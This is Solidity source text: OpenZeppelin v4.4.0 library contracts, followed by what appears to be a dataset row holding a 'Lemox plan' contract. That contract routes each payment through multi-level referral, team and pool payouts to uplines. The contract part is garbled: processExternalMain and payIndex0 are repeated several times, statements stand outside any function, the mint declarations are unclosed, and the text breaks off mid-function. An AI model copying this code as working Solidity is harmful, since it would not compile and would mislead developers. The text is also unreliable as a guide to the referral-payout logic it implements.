* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
See {IERC165-supportsInterface}./
|
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
}
}
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
| 9,933,849
|
./full_match/4/0xabDC0254424F49Bc3289CD55a842f142aa7d94e6/sources/browser/hook.sol
|
Lemox plan functions all first mappings are userId 2nd is levelmapping(uint256 => uint256[11]) memory payOutArray;
|
{
address public mscContractAddress;
uint256 public networkId;
address public tokenContractAddress;
mapping(uint256 => uint256[6]) public boosterGain;
mapping(uint256 => uint256[8]) public teamActivationGain;
mapping(uint256 => uint256[8]) public teamBonusGain;
mapping(uint256 => uint256[10]) public megaPoolGain;
mapping(uint256 => bool[10]) public megaPoolReadyToWithdraw;
mapping(uint256 => uint256[6]) public paidBoosterGain;
mapping(uint256 => uint256[8]) public paidTeamActivationGain;
mapping(uint256 => uint256[8]) public paidTeamBonusGain;
mapping(uint256 => uint256[10]) public paidMegaPoolGain;
mapping(uint256 => uint256[3]) public teamTurnOver;
mapping(uint256 => mapping(uint256 => uint256[6])) public autoPoolGain;
mapping(uint256 => mapping(uint256 => uint256[6])) public paidAutoPoolGain;
uint256[10] public megaPoolPrice;
uint256[6] public levelBuyPrice;
uint256[8] public bonusPrice;
mapping(uint256 => uint256) public reInvestGain;
mapping(uint256 => uint256) public expiryTime;
uint256 reInvestPeriod;
struct autoPay
{
uint[11] payOutArray;
}
constructor() public{
levelBuyPrice = [35000000000000000000,40000000000000000000,100000000000000000000,500000000000000000000,1000000000000000000000,5000000000000000000000];
megaPoolPrice = [50000000,50000000,50000000,50000000,50000000,50000000,50000000,50000000,50000000,50000000];
bonusPrice = [50000000,50000000,50000000,50000000,50000000,50000000,50000000,50000000];
reInvestPeriod = 3600000;
}
function() external payable
{
revert();
}
function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool)
{
require(_networkId == networkId, "Invalid call by MSC");
autoPay[5] memory payOutArr;
payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)];
payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)];
payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)];
payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)];
payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)];
if(_planIndex == 0)
{
require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail");
}
else if(_planIndex >= 1)
{
require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail");
}
return true;
}
function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool)
{
require(_networkId == networkId, "Invalid call by MSC");
autoPay[5] memory payOutArr;
payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)];
payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)];
payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)];
payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)];
payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)];
if(_planIndex == 0)
{
require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail");
}
else if(_planIndex >= 1)
{
require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail");
}
return true;
}
function processExternalMain(uint256 _networkId,uint256 _planIndex,uint256 _baseUserId, uint256 _subTreeId, uint256 _referrerId, uint256 _paidAmount, bool mainTree) external returns(bool)
{
require(_networkId == networkId, "Invalid call by MSC");
autoPay[5] memory payOutArr;
payOutArr[0].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(23750000),uint256(26408),uint256(26408),uint256(125437)];
payOutArr[1].payOutArray = [uint256(10000000),uint256(6666666),uint256(6000000),uint256(6000000),uint256(5000000),uint256(5000000),uint256(5000000),uint256(20000000),uint256(30864),uint256(30864),uint256(123457)];
payOutArr[2].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(13000000),uint256(64977),uint256(73099),uint256(105588)];
payOutArr[3].payOutArray = [uint256(10000000),uint256(6666666),uint256(5000000),uint256(6000000),uint256(7000000),uint256(8000000),uint256(9000000),uint256(10000000),uint256(79012),uint256(88889),uint256(98765)];
payOutArr[4].payOutArray = [uint256(10000000),uint256(6666666),uint256(2000000),uint256(2400000),uint256(2800000),uint256(3200000),uint256(3600000),uint256(9000000),uint256(41585),uint256(46784),uint256(116959)];
if(_planIndex == 0)
{
require(payIndex0(_baseUserId, _referrerId,_paidAmount),"fund allot fail");
}
else if(_planIndex >= 1)
{
require(payIndex1(_baseUserId,_planIndex, _referrerId,_paidAmount,payOutArr[_planIndex -1].payOutArray),"fund allot fail");
}
return true;
}
function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool)
{
uint256[9] memory tmpDist;
uint tmp2;
uint256 _networkId = networkId;
boosterGain[_referrerId][0] += _paidAmount * 42857143 / 100000000;
uint256 pId = _baseUserId;
uint tmp = 3571428;
uint256 i;
for(i=0;i<8;i++)
{
( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
teamActivationGain[pId][i] += _paidAmount * tmp / 100000000;
if((i+1) % 2 == 0) tmp = tmp - 714285;
}
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
if(i<3)
{
autoPoolGain[pId][0][i] += _paidAmount * tmpDist[i]/ 100000000;
}
else
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
tmp = _paidAmount * tmpDist[i] / 100000000;
tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000;
autoPoolGain[pId][3][i] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
require(payMegaPool(_baseUserId,0),"mega pool pay fail");
return true;
}
function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool)
{
uint256[9] memory tmpDist;
uint tmp2;
uint256 _networkId = networkId;
boosterGain[_referrerId][0] += _paidAmount * 42857143 / 100000000;
uint256 pId = _baseUserId;
uint tmp = 3571428;
uint256 i;
for(i=0;i<8;i++)
{
( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
teamActivationGain[pId][i] += _paidAmount * tmp / 100000000;
if((i+1) % 2 == 0) tmp = tmp - 714285;
}
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
if(i<3)
{
autoPoolGain[pId][0][i] += _paidAmount * tmpDist[i]/ 100000000;
}
else
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
tmp = _paidAmount * tmpDist[i] / 100000000;
tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000;
autoPoolGain[pId][3][i] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
require(payMegaPool(_baseUserId,0),"mega pool pay fail");
return true;
}
tmpDist = [uint256(714285),uint256(1428571),uint256(2857142),uint256(2142857),uint256(2142857),uint256(4428571),uint256(54627),uint256(54627),uint256(112896)];
pId = mscInterface(mscContractAddress).subUserId(_networkId, 0, false, _baseUserId );
function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool)
{
uint256[9] memory tmpDist;
uint tmp2;
uint256 _networkId = networkId;
boosterGain[_referrerId][0] += _paidAmount * 42857143 / 100000000;
uint256 pId = _baseUserId;
uint tmp = 3571428;
uint256 i;
for(i=0;i<8;i++)
{
( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
teamActivationGain[pId][i] += _paidAmount * tmp / 100000000;
if((i+1) % 2 == 0) tmp = tmp - 714285;
}
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
if(i<3)
{
autoPoolGain[pId][0][i] += _paidAmount * tmpDist[i]/ 100000000;
}
else
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
tmp = _paidAmount * tmpDist[i] / 100000000;
tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000;
autoPoolGain[pId][3][i] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
require(payMegaPool(_baseUserId,0),"mega pool pay fail");
return true;
}
function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool)
{
uint256[9] memory tmpDist;
uint tmp2;
uint256 _networkId = networkId;
boosterGain[_referrerId][0] += _paidAmount * 42857143 / 100000000;
uint256 pId = _baseUserId;
uint tmp = 3571428;
uint256 i;
for(i=0;i<8;i++)
{
( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
teamActivationGain[pId][i] += _paidAmount * tmp / 100000000;
if((i+1) % 2 == 0) tmp = tmp - 714285;
}
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
if(i<3)
{
autoPoolGain[pId][0][i] += _paidAmount * tmpDist[i]/ 100000000;
}
else
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
tmp = _paidAmount * tmpDist[i] / 100000000;
tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000;
autoPoolGain[pId][3][i] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
require(payMegaPool(_baseUserId,0),"mega pool pay fail");
return true;
}
function payIndex0(uint256 _baseUserId, uint256 _referrerId,uint256 _paidAmount) internal returns(bool)
{
uint256[9] memory tmpDist;
uint tmp2;
uint256 _networkId = networkId;
boosterGain[_referrerId][0] += _paidAmount * 42857143 / 100000000;
uint256 pId = _baseUserId;
uint tmp = 3571428;
uint256 i;
for(i=0;i<8;i++)
{
( ,,,pId,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
teamActivationGain[pId][i] += _paidAmount * tmp / 100000000;
if((i+1) % 2 == 0) tmp = tmp - 714285;
}
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
if(i<3)
{
autoPoolGain[pId][0][i] += _paidAmount * tmpDist[i]/ 100000000;
}
else
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,false, pId);
tmp = _paidAmount * tmpDist[i] / 100000000;
tmp2 = 2 * _paidAmount * tmpDist[i+3] / 100000000;
autoPoolGain[pId][3][i] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
require(payMegaPool(_baseUserId,0),"mega pool pay fail");
return true;
}
function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool)
{
uint256 _networkId = networkId;
boosterGain[_referrerId][_planIndex] += _paidAmount * prcnt[0] / 100000000;
uint256 pId = _baseUserId;
uint256 tmp;
uint256 i;
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
boosterGain[pId][i] += _paidAmount * prcnt[1] / 100000000;
}
tmp = 0;
uint tmp2;
for(i=0;i<5;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId);
tmp = _paidAmount * prcnt[i+2] / 100000000;
tmp2 = 0;
if(i > 2) tmp2 = (2**(_planIndex +1)) * levelBuyPrice[0] * prcnt[i+5] / 100000000;
autoPoolGain[pId][_planIndex][i+1] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
return true;
}
function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool)
{
